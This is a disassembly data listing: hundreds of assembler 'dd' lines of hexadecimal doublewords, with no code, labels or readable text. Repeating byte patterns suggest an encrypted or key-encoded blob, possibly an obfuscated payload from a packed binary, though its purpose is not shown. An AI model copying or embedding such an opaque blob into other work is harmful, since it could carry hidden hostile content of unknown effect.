		dd 0D2861A56h, 0D5FF2FA5h, 9B3028A1h, 0EEB0D07Bh, 0D6D75309h
		dd 0A471B3ADh, 0D5B1BFD2h, 6BD75256h, 0F57CACB8h, 0DAD0248Dh
		dd 5DA3DB36h, 39B63256h, 3DE292FFh, 0B129072Ch,	4FEEDE86h
		dd 0E2FA818Ah, 6156B336h, 0DB8B03CAh, 56586737h, 0E0B13256h
		dd 846680F4h, 0D16E9CD6h, 474E4A1Eh, 0ECA4A39Bh, 0A60E3D36h
		dd 0E07BB905h, 0D4496F37h, 0CF49CE13h, 57BEDB36h, 0ED7B3256h
		dd 0D26AA52Fh, 2771C543h, 0C84C8947h, 1152B3F0h, 3CD4864Bh
		dd 52CCB1AAh, 0A8343D57h, 0CBB13257h, 0D5B139BFh, 2D3B9056h
		dd 0E8A1D977h, 0BA920938h, 0E73A53AFh, 0A8BE159Fh, 57B0BB59h
		dd 424D3256h, 0D5B13245h, 25A0CBFFh, 436DBABh, 0C847DB7Ch
		dd 0DF7766EAh, 0FE5ED310h, 0D1095436h, 0AE363DDBh, 6CB13256h
		dd 9CC0A118h, 0A233B937h, 53B727C5h, 5DB13247h,	9C330890h
		dd 171E0B9Fh, 5DAC9955h, 0B8E8C958h, 0EE303D7Dh, 15B13256h
		dd 83D0C7AFh, 4E58026Ah, 0DEB13256h, 28F2BFBBh,	4FD5C60Ah
		dd 775F650h, 0D7E299Bh,	7AE9D3F6h, 0BAB05FD4h, 0D4BECE56h
		dd 0AEB13257h, 820BB9A3h, 42B73D66h, 0D5B1325Eh, 5639C4D9h
		dd 0F053B05Ch, 0B5D162AAh, 0E4D7F8E1h, 25D0E33Ah, 4222E5D4h
		dd 0ABBCDB50h, 71DC3256h, 3454DEC0h, 483814E9h,	83CE3FDEh
		dd 0D4BE026Ah, 0AEB1325Bh, 57363D36h, 0CDB13256h, 0EB2EAD7h
		dd 65BE6A37h, 75B13344h, 0BAF2DBAAh, 50583256h,	0C5B13256h
		dd 142E8E3Dh, 4008C807h, 0B2FBD11Eh, 0E8497791h, 89B13256h
		dd 0BAB116BFh, 0D1BE5256h, 0AEB13256h, 0AFF4F537h, 0ABB13257h
		dd 3C60B936h, 0EAB1325Ah, 327AC95h, 2C57BD95h, 752E6958h
		dd 0C50BB937h, 37B727C7h, 20D7C1DDh, 0CA3A53A1h, 8C9E8636h
		dd 7ED0F5DDh, 11353D8Dh, 3DB13256h, 0A1668D59h,	57B122D0h
		dd 0ABBADB56h, 37063256h, 0A18E5FEh, 5230872Dh,	648A53EAh
		dd 5D8CB759h, 0BE583256h, 7EB13256h, 0FAE6DC75h, 38F99790h
		dd 0BD8F4D83h, 1500D7F7h, 3971B330h, 3A5372h, 0D332CB5Ah
		dd 0D3BE32AEh, 0ABB13258h, 2DEC31AAh, 0EAB137BFh, 0EB44AC56h
		dd 0E538C306h, 0DE4DCB52h, 23BE2691h, 57B13244h, 0ABBDB659h
		dd 0D2583256h, 39B13256h, 7D7731Bh, 0D558311Ah,	3D4ECDA9h
		dd 0AEB123BEh, 3BBBDC56h, 7BF49E79h, 75A72C77h,	0BE5E8CD0h
		dd 0CBD79A9Dh, 0DAEB54A9h, 3C26DED6h, 52710137h, 57B428BFh
		dd 20D7CB56h, 0D5A5DB48h, 5B3D3256h, 2DCA575Ch,	9EC27C8Fh
		dd 9103FB4Bh, 3FBE295Bh, 2A3A85E1h, 0AC383D5Ah,	0DAB13256h
		dd 0EAB133D4h, 6558C756h, 0DCB13256h, 52290202h, 28C81562h
		dd 1D40F723h, 2B3D0A0Bh, 51BED9ADh, 0EAB13207h,	75B4DB36h
		dd 0A0233256h, 0B496AC34h, 0AEB1325Dh, 3323B4h,	0AAF33AC3h
		dd 0B41F6132h, 8A41D1D6h, 0AB3A5436h, 3AD06D01h, 0DDD0BF9Dh
		dd 2ABE42ADh, 57B132F0h, 0ABB120BFh, 0A7292F56h, 586F1C88h
		dd 0ADDD1FADh, 3C0D9635h, 0B45392C4h, 0AEB13359h, 0BEB6F4AFh
		dd 0ABB0B459h, 124D3256h, 0EAB13311h, 13D13256h, 3DBEC5DDh
		dd 5DB13250h, 0AEB1B159h, 0A2D03256h, 0AC58F5DDh, 34B13256h
		dd 0BB782855h, 0B5326716h, 0A8595253h, 86B13256h, 3AC42D63h
		dd 638F38E6h, 0C08F19D2h, 0A387A37h, 0B1A58679h, 785E8930h
		dd 0BE94DB37h, 0B5D13256h, 0AEB1325Ch, 669C0CC3h, 0AE39173Eh
		dd 0C6592FCAh, 5FB13256h, 5FD244A0h, 0D8167225h, 630CF7FFh
		dd 9900D1D3h, 0EE919D0h, 7652DAEEh, 12D7530Eh, 8AB93D51h
		dd 953065A3h, 0F859D6B1h, 433B530Eh, 0AEB0B259h, 0D7483256h
		dd 2B443DB5h, 6DD1B29Dh, 0A93F80E5h, 825104E9h,	3248531Eh
		dd 0B5D13309h, 0AEB13253h, 248147F5h, 0F2D052B0h, 0D7F6F537h
		dd 0EAB13256h, 75B13CBFh, 0A6969356h, 3A26A722h, 37F4355Dh
		dd 58FFF48Eh, 0ABB135D5h, 0D43D3D56h, 16B13256h, 0FBBEF5DDh
		dd 0BAB13257h, 5B71B1AFh, 0ADCCDBAFh, 31D13256h, 0EC62FBD7h
		dd 0D5B1BF59h, 8CD03256h, 0E5210CD7h, 0BAE4B659h, 0D3BE3256h
		dd 0AEB13258h, 57B13BBFh, 15C51D56h, 0DF961D9Bh, 0D431D2CDh
		dd 1F343DC6h, 42B13256h, 5DB13BBFh, 0C0609F56h,	7FF1FC51h
		dd 2AD71EA5h, 4521CD28h, 0EAACB659h, 0FEBE3256h, 0BAB13257h
		dd 5DF2DBAAh, 2ABE3256h, 57B1325Dh, 0AB3E3D36h,	0DAB13256h
		dd 61D0C1E9h, 75A5DB91h, 0C65D3256h, 63949CF0h,	0C81F9BEBh
		dd 0E8BD1507h, 9C7F66D2h, 25583D2Bh, 3B13254h, 75B1325Bh
		dd 542E4314h, 0E67E0D0Dh, 0F690B095h, 9733BF99h, 0CBB727C2h
		dd 0C076B330h, 0A0F545Ah, 15E15353h, 0DA7FB930h, 5DB13FBEh
		dd 0A4AB1856h, 0A0259046h, 0D28C72FFh, 6BEF03CAh, 0EAA91653h
		dd 7AE75337h, 0BAB12DDCh, 44323D56h, 47B13256h,	57B13242h
		dd 0B00A7554h, 45FEBE7Bh, 1C2EFB36h, 0C62DC14Eh, 7A33C2DDh
		dd 0AB23CDAEh, 0A1B727C7h, 57B122D2h, 0A1393D56h, 3CB13256h
		dd 0EAB13253h, 0CB81B843h, 35BE5287h, 5DB1325Ah, 0AEB134BEh
		dd 6E3DC556h, 0F081F842h, 0DED0CCE2h, 0A8353D96h, 15B13256h
		dd 5D7FDDDh, 0D6D0E983h, 0AF3E3D9Eh, 0A2B13256h, 0ABB13BBFh
		dd 4D91F856h, 4DDE4C49h, 0C73CF2ADh, 0BCA4A696h, 5DB13EBFh
		dd 89F82956h, 5E80422h,	44B868D4h, 0D5CFDB7Fh, 60BE3256h
		dd 75B13257h, 36BE64AEh, 5DB1324Fh, 0AEB126BFh,	4FED756h
		dd 925C563Dh, 91FA2D9Dh, 70772E6Fh, 71C21C3Bh, 437FB958h
		dd 0CF4ECE03h, 0A8A4A39Bh, 57B4B159h, 2BD13256h, 88D09899h
		dd 0EAA2B459h, 7B583256h, 3AB13256h, 44290802h,	7F7370ADh
		dd 0EB05FF63h, 427F19E0h, 0D5B13253h, 7428D17Bh, 1568C53Ah
		dd 7930F3DDh, 46CA7F1Fh, 2BBE6C37h, 57B1325Eh, 0ABB3BD59h
		dd 0B4D13256h, 0EB494FD5h, 755EB759h, 0A8583256h, 66B13256h
		dd 44F2D09Eh, 569E85CFh, 66B3DF99h, 6AED19Dh, 8AF882DEh
		dd 75B126BEh, 786B1E56h, 393F792Fh, 0CC65B4F0h,	0CE42319Eh
		dd 1AFE0118h, 0D5393D9Dh, 0B0B13256h, 75B139BEh, 15685956h
		dd 30830C36h, 39E249C0h, 36E96CE6h, 10D752FCh, 730E391h
		dd 0DCD036B0h, 7D303D37h, 0B5B13256h, 5DB130D3h, 0C8D05256h
		dd 0BE343DEEh, 0ABB13258h, 8D867153h, 0DFA121C3h, 8ED1A010h
		dd 11D706ADh, 5DABB259h, 0A1D13256h, 4758C2E1h,	0EDB13256h
		dd 0F7B1D23Eh, 23BB3F03h
		dd 4F00C37h, 0DB7E628Ah, 5DB9B859h, 25BE3256h, 57B13254h
		dd 1DBE5336h, 5CBE3310h, 0EAB13250h, 0FEEB6036h, 531A538Fh
		dd 5DB13251h, 9C7E725Dh, 58874C82h, 0ABB138D5h,	54D75256h
		dd 8CCE458Ch, 9CD0C0DDh, 0BAB132F2h, 5DB6BE59h,	0F9D13256h
		dd 0AF3A540Eh, 53CCB137h, 5F343D54h, 8AB13256h,	75B1B659h
		dd 32BE3256h, 5DB13253h, 0BC67B330h, 0EFD75305h, 2FBEFB5Dh
		dd 0D5B13257h, 0E51A54AFh, 75B13ADBh, 0B8303D56h, 3DB13256h
		dd 0A1095437h, 4F373DD2h, 0CBB13256h, 3C478559h, 0EAB13258h
		dd 0B4FC610Fh, 0D95CA461h, 4AD30FFDh, 0A1D0EF1Bh, 57B133DFh
		dd 0D7CA56h, 3473B236h,	19B216EFh, 0C3BE533Dh, 53D13310h
		dd 5DB13247h, 0C58EE5D8h, 693D606h, 8E1CD2BDh, 0F1DFCADh
		dd 6661B214h, 9C449937h, 0BAB13252h, 0A415C1A3h, 0F549F5DDh
		dd 57B13DBFh, 9E73CC56h, 1F91BEA6h, 0EE3F1922h,	6FD294EDh
		dd 0BAA2B959h, 53583256h, 0F2B13256h, 17291948h, 0E958944h
		dd 0AA260F68h, 0EF586B16h, 35B13256h, 0CBE31C5Ch, 0DEBE5208h
		dd 0AEB13257h, 0A2EE53AAh, 0ABB4DB9Fh, 82D03256h, 0E51E443Ch
		dd 75B13AD4h, 0B83D3D56h, 3DB13256h, 0AEB9F037h, 57B0B759h
		dd 0FE443256h, 3C5DB9A3h, 0EAB13242h, 60850738h, 0B9EED950h
		dd 98C886EEh, 479211Bh,	5B9F6EAFh, 0ABA5DB36h, 5E493256h
		dd 24B581D1h, 0CDDFFA31h, 0C0B2B32Fh, 0FCFC01E2h, 0AE595295h
		dd 0DB13256h, 6AC0D8D7h, 0DF583443h, 32B13256h,	2DA0AAD4h
		dd 68C60C49h, 183ACAF8h, 21BE525Eh, 57B13254h, 14BE5336h
		dd 5738538Fh, 0ECA4A3C3h, 0F2BE53A3h, 0BAB13251h, 5DB0B559h
		dd 57443256h, 4659529Fh, 0ECB13256h, 0D4235383h, 0FBDC702h
		dd 7E814F68h, 0DD9B3DB8h, 649B930h, 0AA7353AAh,	0AEE4CA56h
		dd 0BF58DEDDh, 0F6B13256h, 0FD7984C2h, 0CA19A845h, 610FE8D6h
		dd 3F6D29CAh, 2D0B4E16h, 0DCBECA92h, 0ABB1325Dh, 0D5B134BFh
		dd 1FA8C856h, 156ECB69h, 0BAA2DB36h, 0DD9B3256h, 7BB9FC09h
		dd 453200BAh, 7C570CFAh, 40609071h, 510B5474h, 755953A1h
		dd 0E0B13256h, 9F94D8D7h, 0C8D13443h, 8A5FF1D7h, 0E0418C30h
		dd 0D0595237h, 0C6B13256h, 0B6432CB3h, 0FDB2C5ECh, 52E76A2Ch
		dd 0AEB132D2h, 90D06D56h, 0ABB1CA13h, 5ED13256h, 0AF7653A7h
		dd 75B132AAh, 3FBE5256h, 5DB13258h, 0AEB13BBFh,	0BBCAFB56h
		dd 9CED020Eh, 0B44DDF9Dh, 0E5D1F265h, 75B134DAh, 0BA343D56h
		dd 0DDB13256h, 0C8D0839Dh, 0DFBE2CDDh, 0ABB13251h, 0E1B38D36h
		dd 2DD062F1h, 6022E5D4h, 0BAB13350h, 5C363D56h,	52B13256h
		dd 0C74AB330h, 8C343DC6h, 0B5B13256h, 0EAB122BEh, 0A8324156h
		dd 7E8C9FDEh, 87F9CEA3h, 48A35FA0h, 0F6CB825h, 0ABB137BEh
		dd 541AD556h, 303B5B2Bh, 8E315308h, 66353DBEh, 3DB13252h
		dd 0B4C4C2D7h, 0D9BE389Ah, 0ABB13242h, 0D5B13DBFh, 0AED56656h
		dd 6F23E296h, 996AC34h,	0E005BEF2h, 10D17237h, 4B42EDCAh
		dd 26A8D30h, 0D5B6DB37h, 65933256h, 0B6D66DB9h,	534AB2D8h
		dd 5928B659h, 0A6583256h, 0C1B13256h, 0B7B9677h, 2DFFB3FCh
		dd 0E23D3D16h, 15B13256h, 671B330h, 0DDD0CB29h,	2ABED9ADh
		dd 57B13625h, 0C903CA36h, 0DC587237h, 83B13256h, 431B3D38h
		dd 1FA01D11h, 5DB126BFh, 716ECB56h, 2A6575F3h, 3F767588h
		dd 4945664Ch, 9575FDB4h, 8556B241h, 0BABABE59h,	5B583256h
		dd 7FB13256h, 3059782Ch, 503054E4h, 51BEB259h, 0EAB13671h
		dd 0F7B2CEAAh, 0BCBE01EBh, 5DB0B359h, 0EE483256h, 51343D36h
		dd 0A4B13256h, 0D5B132D3h, 0E06C8A56h, 0F5D072E3h, 3EBED0ADh
		dd 5DB1318Bh, 2FD75236h, 318F368Eh, 42D0C5DDh, 0D5B1325Fh
		dd 68E1CB60h, 3FC5F936h, 41315314h, 0D6353DB5h,	0A1B13255h
		dd 57B138DDh, 0ABB4DB56h, 80433256h, 8C94888Bh,	96D6C9D7h
		dd 0B92EB659h, 0B5D13256h, 0AEB1325Fh, 87F9ED4h, 5C5E655Ah
		dd 0B4E8CBCCh, 8A41D1D6h, 75B13ABFh, 8EDF1E56h,	0C4C78EA2h
		dd 2ED0C7BDh, 0D3BE42ADh, 0ABB131D9h, 0D5B138BFh, 2771C556h
		dd 0C84C8947h, 0DCC77FF0h, 0D2BE2CDDh, 0AEB13240h, 57B8DB36h
		dd 0A3FE3256h, 0DF3BB54Ah, 0E5FBA0B6h, 75B132D0h, 59315356h
		dd 5DB9DBAEh, 0C27D3256h, 1A00CB5Fh, 50310891h,	85353DEEh
		dd 0E5B13257h, 75B13BDCh, 3BD75256h, 0D6349A90h, 23BE5398h
		dd 57B13251h, 0ABB0BC59h, 55483256h, 6EBE3768h,	75B1337Dh
		dd 0BAA2BF59h, 52D13256h, 0AEB132DFh, 57B4DA56h, 43453256h
		dd 8CBA1D37h, 0C78FB237h, 74B8B659h, 0B5D13256h, 5DB133DCh
		dd 7631CA56h, 5E585369h, 35B13256h, 0E07256E7h,	0AB9A121h
		dd 7AD90CD6h, 0BAB1D4D2h, 0A8F1C756h, 3D66B0A9h, 51583443h
		dd 0DEB13256h, 5D0E5220h, 0F43A5469h, 8D56B2AEh, 9C07CA36h
		dd 0A6305437h, 2ABEDAD7h, 57B132EDh, 0B53A54A3h, 0D5B121BFh
		dd 0BE6C0556h, 419E76F7h, 0C2EFE0D1h, 64501A38h, 1E33B281h
		dd 0BE41D5D6h, 0ABB13246h, 4FC34EEEh, 0F95FF527h, 0A3F70335h
		dd 0D9314CC0h, 0DC4AB330h, 0D2353D96h, 0A2B13256h, 593A5436h
		dd 0D5B3B059h, 173B3256h, 72585237h, 50B13256h,	957E04F4h
		dd 0A5588C90h, 0CDB13256h, 0D151101Bh, 603D4A5h, 0E5E41A5Bh
		dd 75B13AD0h, 0B8303D56h, 3DB13256h, 6323CD37h,	37B727C7h
		dd 0F6D002E5h, 0D3085436h, 2F7488CBh, 0FCD01DCDh, 0DCD1CE13h
		dd 0B4C6D4D7h, 0CF4F8D59h, 2A32C737h, 2EBE33AAh, 0D5B134C2h
		dd 0EABCB959h, 0F4D13256h, 369A2DA6h, 9E305463h, 25D02856h
		dd 5896FBECh, 0CDD1CB50h, 789EECD7h, 8B91E1D6h,	7E323D06h
		dd 0DAB13256h, 5267B930h, 0AEB132D4h, 0D53A5356h, 0ADA4A181h
		dd 0D5B122BFh, 36C36456h, 8CDA247Dh, 0D9E35265h, 184BE770h
		dd 9E8D0B48h, 57B9DB36h, 0FBD03256h, 4F8B5C8Ch,	0ED59EE7Fh
		dd 81B13256h, 2FB5E2F4h, 5A59AB31h, 48B13256h, 0C11887E5h
		dd 0F5E8E089h, 57BE6A37h, 0EAB13446h, 1473B936h, 8A6488DDh
		dd 0D3BE3459h, 0AEB13257h, 513A3DA3h, 0CBB13256h, 8AE65336h
		dd 8CD16237h, 7A058CE9h, 31D0C1E9h, 4822E5D4h, 9288C750h
		dd 57A2DB66h, 0E2473256h, 789C1A2h, 0C8D3C40Fh,	6826A939h
		dd 8EFA9D9Ch, 0D2BE6A85h, 0AEB13796h, 0DE0BB9AEh, 0CBB727C7h
		dd 9F43B3A3h, 8BFE60ECh, 0E438B0D5h, 53A53443h,	5DB1325Ch
		dd 0C88AF1D4h, 13C5BFD2h, 0B8582486h, 6BB13256h, 0A0516021h
		dd 50144730h, 4286D135h, 0A7418185h, 99389704h,	57B139BFh
		dd 218A1556h, 238D0730h, 3E362479h, 8DA175DFh, 3148C706h
		dd 4822E5D4h, 0AEA1DB50h, 68FB3256h, 7D902AF2h,	0D6B1059h
		dd 9FB46187h, 6158E1D4h, 0CEB13256h, 9C765808h,	3C22B33Fh
		dd 8AEB8C9Dh, 5D85B2CFh, 5EF44581h, 0E358024Ah,	7EB13256h
		dd 0E6A1F644h, 9A48A541h, 0B7373D0Eh, 0BEB13256h, 0ABB13242h
		dd 5A0E0F80h, 7EDD5BF4h, 0D2F6CC3Fh, 0CA9E3255h, 0D8F8AB22h
		dd 0CEB96DDFh, 9EB51AECh, 570B600Ah, 8C85B474h,	0EE5FDB37h
		dd 66583256h, 50B13256h, 0FEB3C100h, 2FD2D1B9h,	0E7463793h
		dd 0F2E88D61h, 907617B5h, 0EAB130AEh, 75A0DB56h, 0FCD63256h
		dd 5A9FCB6Ah, 19598858h, 578F0CE2h, 42026086h, 0D5B1327Dh
		dd 0E83A3D36h, 24B13256h, 420E3D08h, 0A5F4F537h, 0AEB13257h
		dd 57A0BB59h, 0A4D13256h, 0D359E9E9h, 69B13256h, 0CF92274Dh
		dd 31D069FDh, 4820BBECh, 0BF3B3D50h, 37B13256h,	0A35849E4h
		dd 40B13256h, 81A8DAAAh
		dd 14D8058Ch, 2B38B0D5h, 3DA53443h, 0AEB13ABFh,	13B10056h
		dd 8A0D878Ah, 0DF323D84h, 3B13256h, 75B13253h, 7ADCCCAh
		dd 6A385319h, 0BEF6BBA3h, 57B13ABFh, 1B59EF56h,	5961C828h
		dd 0E949B156h, 758EB759h, 0B6583256h, 8FB13256h, 0F0C65878h
		dd 0ECFCCFDDh, 6CA0B51Fh, 0C022E5D4h, 0EAB13050h, 83315256h
		dd 0BB383D38h, 0A8B13256h, 0A2313D37h, 0BEB13256h, 0ABB13251h
		dd 7EF1E05h, 3D60699h, 75B1324Ah, 0B849B1AEh, 5F8ABF59h
		dd 2ABE3256h, 57B1325Ah, 0ABB7BB59h, 5EBE3256h,	0EAB13256h
		dd 75494FD5h, 0BA70B659h, 0DFBE3256h, 0AEB13243h, 57B122BFh
		dd 302CA556h, 0AA0C3E7Bh, 0CF102540h, 0E3761B31h, 0FC073D2Bh
		dd 5DBCDB57h, 71693256h, 0B85B1332h, 0D48B2796h, 0B547549Bh
		dd 7E3A8B30h, 82D98B30h, 0BA319B37h, 0D8BE3256h, 0AEB13233h
		dd 57B9DA36h, 0FEB43256h, 1A601C0h, 61D7A15Bh, 72586995h
		dd 66B13256h, 84E2D70Dh, 0EED0AA11h, 57BDBA59h,	10D13256h
		dd 89644B75h, 781BC0EDh, 9D32532Fh, 2D75253h, 49587497h
		dd 0B7B13256h, 5F75F8C6h, 6054B1ADh, 7E801C6Dh,	5B8851CDh
		dd 14B2EDDBh, 0BAB12EBFh, 2B095256h, 159DB275h,	1692DEEEh
		dd 0AB4E1F37h, 50BE3256h, 0EAB13257h, 7059B1A3h, 0BA8FDBA3h
		dd 0E4D3256h, 0AEB134BFh, 0BD340D56h, 0A45791BDh, 0D5B131D0h
		dd 8B495256h, 0E666A8DDh, 31493443h, 4F580152h,	0AFB13256h
		dd 0D4B6DB2Bh, 151271C7h, 50E32834h, 0A0664119h, 22D16915h
		dd 0DB4D6AAAh, 5DB132FFh, 3E343DD6h, 0BEB13256h, 0ABB13258h
		dd 787B59BFh, 96FE7AA1h, 1061FB6Dh, 7CB2AB1Fh, 5DB9DB36h
		dd 0F8343256h, 0E8A62692h, 0A3586DAFh, 10B13256h, 0ED6D9C29h
		dd 1457664Ah, 46B4F2D5h, 0CE66B055h, 11D13443h,	5A8BCACAh
		dd 0E3D0E3DDh, 0DC586336h, 71B13256h, 323393BCh, 8C70D86Dh
		dd 5E343D0Fh, 0A1B13256h, 0DED0C2E9h, 0AC583A11h, 0D4B13256h
		dd 0DD913D12h, 3238B379h, 0BAB7DB5Ah, 76C93256h, 0E8477734h
		dd 57B309BFh, 0A3313D56h, 0DAB13256h, 0EAB130D2h, 82D05256h
		dd 3FBE528Eh, 5DB13256h, 0F151E1D7h, 7CD02263h,	7346CB90h
		dd 0D071B1AEh, 0EAB6DB36h, 0E9CD3256h, 5A582EBCh, 0A43A54EDh
		dd 79333137h, 58B727C5h, 0ABB138D4h, 0FF0A5256h, 8C886D82h
		dd 3DD0E5DDh, 0B2F6BBA3h, 5DB138BFh, 11343056h,	31F3C5D1h
		dd 0CB6CC8ABh, 0DA61B930h, 0EAB131D8h, 0AD0E3D56h, 0B6F6BB37h
		dd 5C73DBAAh, 0C8D13256h, 0BE2D30ECh, 0ABB13246h, 4A383A64h
		dd 0B11A43E0h, 7E4E034Ch, 0AEAA6629h, 3D710137h, 0AEB139BFh
		dd 0B511A056h, 0A0CC29BDh, 3BA6CF53h, 0E03F3D37h, 9CB13256h
		dd 0BAB13253h, 74928040h, 0AFF7B8DDh, 58319AAEh, 0ABB1C5D3h
		dd 0DD363D56h, 0E5B13256h, 75B130D5h, 0DAD05256h, 5DB13CBFh
		dd 0F7B83E56h, 0DCC0A4E5h, 4F25EB38h, 0DADA4320h, 0EAB136D9h
		dd 960F5456h, 7CB253B4h, 5DA8B659h, 0BA583256h,	4B13256h
		dd 0DF0BFFDh, 94BF6E8Fh, 0D86C6F77h, 368DE21Ch,	3902EA0Ah
		dd 0D2BE3096h, 0AEB1325Eh, 57B3B859h, 0CAD13256h, 0D5B133EDh
		dd 0FA585256h, 37B13256h, 7E662F04h, 5A163991h,	0B032ECB7h
		dd 36D0C256h, 2FBEE95Dh, 0D5B1326Dh, 0EAA9B159h, 66583256h
		dd 0D3B13256h, 0C31C09B6h, 8B0C100Eh, 0DDAB981Dh, 3A92E879h
		dd 4F3B6FB5h, 0ECA582B5h, 75B13CBFh, 97F95756h,	0D01A8DDh
		dd 9AEEB425h, 0D722CA21h, 0A84933B5h, 0D43F3D95h, 13B13256h
		dd 80B975DFh, 53BD75DFh, 5DB13253h, 0DDB48B1Ah,	572BDB73h
		dd 27BE3256h, 0D5B13242h, 0EAB6DB36h, 0CAC03256h, 161D1A85h
		dd 0DB50B386h, 0CFB8D36Dh, 0D8BEEAA1h, 0ABB13251h, 0D5B0BA59h
		dd 0CF493256h, 75B132A9h, 0BAB137BFh, 8189BF56h, 689AA43Fh
		dd 0AB69C5AFh, 42B3F2D5h, 0D5B13242h, 0BAAC4738h, 4C964670h
		dd 0CB31CEBBh, 9B2D0A9Bh, 68AA8C4Ch, 57B121BFh,	60837656h
		dd 0B23A2A48h, 0EE81A229h, 94675923h, 0E3EE3349h, 0B4B975DFh
		dd 0AEB13251h, 2DCE03CCh, 22FD45BEh, 5BBE3E11h,	0EAB13246h
		dd 75B139BFh, 9FCF8756h, 0B4E38498h, 0D20DE8D8h, 413F3DAEh
		dd 0A4B13256h, 0D5B122DBh, 0EABADB56h, 6E8A3256h, 7112CCFBh
		dd 253EC7BFh, 0AEB9DBDFh, 4D053256h, 7184922h, 0B5D06469h
		dd 0A0D2F5ECh, 1477B90Ch, 31D7529Fh, 0DFBE5285h, 0AEB13256h
		dd 57B137BFh, 8F2AFC56h, 0B4D053D3h, 0E259CE36h, 59B13256h
		dd 59D7D288h, 0B5BBD1DEh, 0AEB13247h, 2A803A9Ch, 0F7ADBD0Fh
		dd 1AFA7A35h, 6D69A241h, 14EF69A0h, 0B43A3D95h,	0B4B13256h
		dd 0AEB1325Fh, 223FB825h, 6A036E6Bh, 0D5A0DB78h, 0BB313256h
		dd 0F5CBD56Fh, 786B1E59h, 393F792Fh, 0FB65B4F0h, 57BDB159h
		dd 24BE3256h, 0D5B13250h, 0EAB1B559h, 993A3256h, 0BAB135BFh
		dd 0A5758856h, 9303F280h, 374DF6D5h, 0ABB3BB59h, 0B4D13256h
		dd 0E2333D37h, 7AB13256h, 0BAB130DEh, 3DD05256h, 0AEB13FBFh
		dd 497E6E56h, 0D0F8C5E2h, 7BB6BC3Ah, 0EA5975E2h, 2FB13256h
		dd 77F0D8D7h, 49583443h, 1DB13256h, 0EBA341CAh,	339DC722h
		dd 681DD5DDh, 0EDED709h, 897D6235h, 0BAB137BFh,	0E8DF256h
		dd 143AF590h, 51A4A33Dh, 0ABB138BFh, 8827D556h,	5B57727Ah
		dd 46A4D40Ah, 0BF59529Fh, 1AB13256h, 0F181630Fh, 0BEEB5336h
		dd 0ABB1325Fh, 0F1DF6E6Fh, 562189F8h, 4A325324h, 39353D56h
		dd 52B13252h, 0AEB133DBh, 503ACB56h, 0ABBDBB59h, 50BE3256h
		dd 0EAB13250h, 75B1BA59h, 0CF4E3256h, 284ECE5Ah, 0A5383D5Eh
		dd 0BEB13256h, 0ABB13250h, 0B80D1368h, 8AD11026h, 75B134BFh
		dd 67FB956h, 0A43545C6h, 0AEB9DB37h, 0E9AC3256h, 2324E5E2h
		dd 85D00043h, 0EAB121BFh, 0EC6C6856h, 6D4706D6h, 1DB87721h
		dd 0DF1A458Bh, 7BDE0FD0h, 0ABB6BF59h, 5ABE3256h, 0EAB13257h
		dd 7D6BDAAFh, 3DBE3256h, 5DB13253h, 743ACE36h, 57B6DB37h
		dd 2C803256h, 0F443969Fh, 0E57139FEh, 75B17AD3h, 3BBE5256h
		dd 5DB13253h, 9D7BB330h, 0D6D763EAh, 0F197759Dh, 29B6B937h
		dd 0EABCDA36h, 6E9C3256h, 0F0C94839h, 279E9838h, 0A10DC16Eh
		dd 57B132D9h, 2BBE6B56h, 0D5B13255h, 8B2DC0D6h,	75B10FBFh
		dd 0B83D3D56h, 3DB13256h, 0BA76B137h, 57B126BFh, 0BD812056h
		dd 422B22C4h, 4AB42694h, 39A4E89h, 0EF1A4958h, 0A345DB4Ah
		dd 0A158CDA9h, 4BB13256h, 0BA29DFh, 4C686F53h, 5EED512h
		dd 303894F9h, 31D752AAh, 5DA2DB89h, 147A3256h, 1D2B5755h
		dd 0BE9372DEh, 0AE8ED532h, 6D36BD1Ch, 4E5399h, 37BECB5Ah
		dd 5DB1325Bh, 0AEB13ABFh, 4FC9AA56h, 3DB861C3h,	0DDC4CD29h
		dd 0E586CDAEh, 75B127D2h, 0BAA1DB56h, 0F4DF3256h, 849AD22Fh
		dd 0B0CAC8FDh, 59703C8Ah, 3459998Ah, 0E5B13251h, 75B139D3h
		dd 0BAB7DB56h, 986B3256h, 86E9C636h, 0D3BEF25Dh, 0ABB1324Eh
		dd 0D5B0B359h, 3493256h, 75B130BCh, 0BAB7BA59h,	0ECD13256h
		dd 0CF088009h, 0AF4D77DDh, 29BE356Fh, 0D5B13084h, 0B848B936h
		dd 75B137BEh, 76122B56h, 3E94EDAh, 52F4CD37h, 57BADB36h
		dd 0CD453256h, 0E3F84A99h, 20E98472h, 0AF3060CAh, 0FF8035D2h
		dd 2232530Dh, 2ABE3252h, 57B13267h, 0EA7AB236h,	0B460B930h
		dd 0E6CEB1AFh, 6B353D56h, 53B13256h, 5DB1325Bh,	315D22A2h
		dd 0F6B147A5h, 0EE43726Eh, 0D5E7DB10h, 67BE3256h, 75B13257h
		dd 454E8AAAh, 0E449CDA9h, 0AEB13253h, 57A6B159h, 52D13256h
		dd 0D5B13DBFh, 6921BA56h
		dd 0C8C43CFEh, 38E72938h, 0E1ADDD60h, 471AC137h, 57B1325Fh
		dd 68A68AFAh, 0E4F9CBA8h, 1451DBEBh, 0FCBECDA9h, 0BAB1325Ah
		dd 5DB7B059h, 22BE3256h, 57B13256h, 0AEA14DD5h,	0D5E6B659h
		dd 0EC583256h, 87B13256h, 1A89B3BAh, 4DCEB11Eh,	0F2343D50h
		dd 58B13256h, 0ABB133D5h, 2DF0C756h, 3B575DDh, 75B1325Fh
		dd 0C72A3F1Ah, 5E7CF8DDh, 0A2EEB9F0h, 57B139BFh, 66CFBF56h
		dd 0D4128E39h, 1E9B98ADh, 75B0ADBFh, 0BABADB56h, 75163256h
		dd 0E9B5F886h, 545439CBh, 0AFF6B9A8h, 2C628636h, 0E6EEB937h
		dd 96305436h, 493BFCCBh, 5CC2DB37h, 25483256h, 43583611h
		dd 6CB13256h, 2666607Ah, 0B195D31Bh, 4B440CFBh,	0AA424DBh
		dd 0D69D57D3h, 0A3583E09h, 17B13256h, 0CA83D8C4h, 0B4DB1A07h
		dd 2C4B0ECFh, 7AB96D6Dh, 0BAB1BBD3h, 0A5E3CE56h, 56B565DDh
		dd 57BBB159h, 2AD13256h, 2A6DB28Dh, 8BEF626Ah, 9CA1677Dh
		dd 0BAB1325Bh, 0D133B63Bh, 9441410Ch, 0F1FB125Ah, 0BFE4318Ah
		dd 0D5B13FBFh, 9CF00F56h, 0C1E8B202h, 0B8E6FBFEh, 23A4A49h
		dd 2F48525Ah, 1E9C229Fh, 8048531Fh, 3E32C78Ch, 0EAA1DB53h
		dd 5E4B3256h, 788AADB2h, 3D13D686h, 0DBCB987Dh,	0AFEBD5D7h
